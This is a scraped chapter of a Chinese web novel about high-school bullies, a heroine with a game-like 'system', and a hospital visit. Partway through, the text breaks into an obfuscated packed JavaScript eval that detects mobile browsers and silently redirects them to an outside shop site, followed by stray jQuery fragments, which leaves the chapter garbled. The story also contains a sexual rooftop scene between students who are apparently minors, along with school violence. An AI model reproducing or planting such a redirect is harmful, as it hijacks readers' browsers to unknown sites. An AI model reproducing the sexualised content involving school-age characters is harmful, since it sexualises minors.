徐抒恩牵着车元瑞离开后,整个教室里依然鸦雀无声。

    不知道过了多久,立在原地如雕像一样的跟班之一首先说话了。

    “靠X……那女人……”

    “你他X的,不要命了吗?”同伴马上捂住了他的嘴,后怕地探头向窗外看,“被车元瑞那疯X子听见就死定了。”

    “哈?难道被那女人听见下场会更好吗?李亨彬都不知道有没有被踩死,靠X!”

    “车元瑞那女朋友……还真是。早该料到的,跟车元瑞交往的女人能是什么正常人啊!”男生想起刚才那景象,无比后怕。

    “她揍人的时候看起来比车元瑞还吓人啊!我说,她应该不会也要选沙包……吧?”

    “难说哦……”

    确定车元瑞和徐抒恩真的离开之后,整个班级开始恢复开始时的气氛,跟班们的谈话也变得放肆得多。

    “真是的,那丫头究竟什么来头……”一个跟班仿佛劫后余生一般,不顾形象地瘫倒在课椅上。

    “没见过的生面孔,难道是一年级的?”

    “应该是吧,有这种家伙早该在我们年级扬名立万了……啊X的,想到要叫一个比我们年纪还小的丫头大嫂,就觉得超~他X的不爽!”

    “忍一忍吧,比当成沙包要好得多吧,哈哈~。你看傻X李亨彬,到现在还像头猪一样睡在地上。”

    “李亨彬真没眼力见耶?居然勾引车元瑞的女朋友吗,难怪被揍得那么狠。”

    “X的,都是因为他!最近车元瑞下手越来越……呃,总感觉有一天要闹出人命来……”

    “有点怀念连希元在的时候了,风纪部的制止还算是有点用吧。”

    “哈?怀念连希元??你疯了吗,连希元发病的时候比车元瑞还吓人吧?!巡察的事情一直都是徐抒恩在做啊……和连希元有什么关系?”

    “你这样一说真让人有点想念抒……徐抒恩,有她在的时候,学校里哪有这么乌烟瘴气……”

    “对啊,最近几天都没怎么见到她,她到底在做什么啊?”

    “她是连家的人欸,应该是和连希元待在一起吧?照顾生病的连希元什么的……?”

    “X的!该来的不来,不该来的都来,真是……”

    他们没有刻意压低说话的声音,崔壹宽坐在自己的位置上,默然无声地听着,眉头缓缓蹙起。

    徐抒恩?……他们的眼睛集体出问题了吗,刚才走掉的那女人,不就是徐抒恩吗??

    怎么好像突然之间全都不认识徐抒恩的脸了似的。

    “别想那么多了,”同伴拍了拍男生的肩膀,哥俩好地递过来一包烟。

    黑色包装上的细线散发着金色的闪光,少男表情几番变化,沉迷之色一闪而逝。

    朋友笑嘻嘻地对他努嘴:“走了,去抽一根。”

    他抽出一根,紧紧捻在手心。

    “这么大方?”他问。

    “新批次的好货,花了好几千万,”同伴神秘地笑起来,“明佑那边,给我打九折。”

    “真厉害……”他赞叹道,尔后推着朋友,“走了,有好渠道的话也给我介绍一下!X的,说不定能靠这个摆脱掉车元瑞……”

    “当然没问题!等放课之后,我叫明佑过来……”

    *

    天台上了锁,铁质的门扉不规律地晃动,幅度很轻微,在人迹罕至的顶层不会引起任何关注。

    车元瑞的呼吸很急促,胸口也因此大幅度地起伏。

    开放的环境很难给人安全感,他忍不住抽气,叹息,动作却又轻又柔地扶住徐抒恩埋在胸口的脑袋。

    “小恩……别咬了……”明知身后抵着门,避无可避,车元瑞还是不免后仰,肩膀上紧绷的肌肉贴在冰冷的门上。

    徐抒恩的脸紧贴着滑腻的皮肤,哪里听得进他说话,车元瑞欲拒还应的言语抵抗毫无效用。

    她不知道为什么,车元瑞被她拉出来之后,说话总是一副丢了魂的模样。这种状态一直持续不断,只不过在她开始用他的现在更胜一筹。

    “我还以为……你会劝我别那么对李亨彬,”车元瑞突然说道,同时轻抚了一下徐抒恩耳边的头发。

    “嘶……好像肿了,你换一边……所以,为什么那么做?”

    徐抒恩闻言,恋恋不舍地松口,在换边的间隙随口问道:

    “你说谁?谁是李亨彬?”

    车元瑞一顿,随即低低地笑起来。

    他看上去快乐了不止一点,甚至配合地挺胸,往徐抒恩那里送了送。

    车元瑞凑到她的耳边,继续用他特有的那种声调问她:

    “好吧……那你能不能告诉我,你为什么揍了刚才那家伙?”

    “他明明没做错任何事吧?优等生徐抒恩,为什么在大庭广众之下做出会让生活记录簿留下污点的行为?”

    “躺在地上那个无辜的家伙太可怜了吧!”

    车元瑞忿忿不平地控诉,仿佛将李亨彬打伤的暴行不是他所为一样。

    徐抒恩被他突如其来的款待弄花了眼,她一口咬下,受蛊惑似的告诉他:

    “啊……那个啊。”

    “随便了,你应该讨厌他吧?”

    “我在和你恋爱,不管怎样,我都要站在你这边才像话哦?”

    其实是骗他的。连希元不在她身边,那群家伙……恐怕都不会认得她的脸吧。

    所以她才无所顾忌地,在众目睽睽之下“暴打”了李亨彬。

    “……”

    车元瑞半晌没有说话,仿佛又一次被按下了时停按键一样。

    “怎么了吗?”

    感觉到车元瑞反应不寻常,徐抒恩这样问道。

    甚至在百忙之中调出游戏视窗,确认了一下自己有没有误触。

    她抬起头,看见车元瑞眸中似乎有粼粼的反光,甚至于,水雾。

    “……?”

    她怀疑自己眼睛出了问题,想要仔细再看清的时候,车元瑞忽然抬起手,像刚才捂嘴那样捂住了她的眼睛。

    被遮挡住视线之后,车元瑞的拥抱变得更加缠人,用力之大让徐抒恩有种会和他融化在一起的错觉。

    她的耳朵紧贴他的胸口,听见车元瑞狂乱的心跳声。紧接着,她被抱起来,和车元瑞位置对调,这次换成她靠在门上。

    铁质的硬物上残存着车元瑞的体温,因此并不冷。

    徐抒恩坐在车元瑞叠起的校服外套上,很柔软,也很舒服。

    她听见一阵细碎的声音,然后车元瑞拿开了阻挡她视线的手,徐抒恩低下头,发现车元瑞的脑袋已经挨近了她的裙边。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17666071|201888||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    徐抒恩挑眉:“不是说不想在天台……”

    车元瑞的眼尾有似有似无地发红,

    他的脸蹭了蹭她的裙边:“小恩……”

    “不管你以后向我要什么……我都不会……拒绝你。”

    他的话仿佛一个天大的惊喜,送到了徐抒恩面前。

    徐抒恩迟迟发现,她似乎在无意识间,得到了什么不得了的承诺。

    蓝色的游戏视窗在徐抒恩眼前顿现,她捧起车元瑞的脸,眸中闪烁着幽暗的光。

    背景中半透明的百分数开始跳动,20%的数字不停闪烁,每闪动一次,数字也随之增加。

    几秒之后,背景终于稳定在了一个数字上。

    【40%】

    徐抒恩的目光缓缓略过那巨大的百分数,然后若无其事地松开了手。

    “好啊,”徐抒恩摸了摸车元瑞的脑袋,就像在奖励一只讨巧的宠物,

    “先在这里,证明给我看吧。”

    车元瑞喉结滚动,慢慢埋下头。

    【剩余时长:88分钟】

    ……

    东星医院是QL财团旗下赫赫有名的上级综合医院,全门类涵盖,专门诊疗科室的数目在国家标准的三倍以上。

    走廊里弥漫着消毒水的气味,戴着黑色口罩的少男帽檐压低,全身裹得严严实实,只露出戴着银边镜框的眼睛,即便如此,挺拔纤长的外形还是引人注目。

    他看上去似乎很焦躁,在走廊不停踱步。

    墙壁上悬挂着的屏幕数字变化,同时一道机械音响起:

    “0302患者,请前往十六诊室。”

    少男一顿,先是四下张望一番,然后做贼似地闪身进入诊室。

    看诊的是专家医生,年龄和威望在外形上看起来同样高。少男弓着身子,在椅子上坐下,依旧一副坐立不安的模样。

    老医生推了推鼻梁上的老花镜,视线从电脑上的患者信息移到了少男的脸上。

    “崔锡林,是吧?”

    被叫到名字,崔锡林表情扭曲一下,不情不愿道:

    “……是。”

    “口罩,还有你的帽子,不方便摘掉吗?”

    老医生皱了皱眉。

    东星医院的挂号本就紧张,专家的预约号更加难抢,倒卖行为屡见不鲜。

    本就因为要做这种见不得人的检查,强忍着暴怒的心情,现在还要耽误在这种怀疑上,崔锡林轻嗤一声,压了下帽檐嘲讽道:

    “我愿意花四倍的价钱来挂你的号,你不应该觉得荣幸吗?”

    理所当然,高高在上的语气。老医生摇摇头,知道他是误会了。

    “所谓面诊,当然是要看患者的脸色,你不摘下口罩,我要怎么为你诊断?”

    “……”崔锡林被噎住,沉默了片刻,问道,“不摘也能看吧?”

    见他如此抗拒,老医生也不惊奇,极有耐性地劝道:

    “诊室里没有摄像头,你尽管放心。我们医院很严格,泄露患者的隐私,严重的会被停业处理,我不会拿着自己的工作开玩笑。”

    做完专业保证,老医生又叹了口气:

    “患者,毕竟你年纪小,我老太婆多说几句……所谓男科,也只是一个身体检查的科室而已,不必感到太过羞耻。”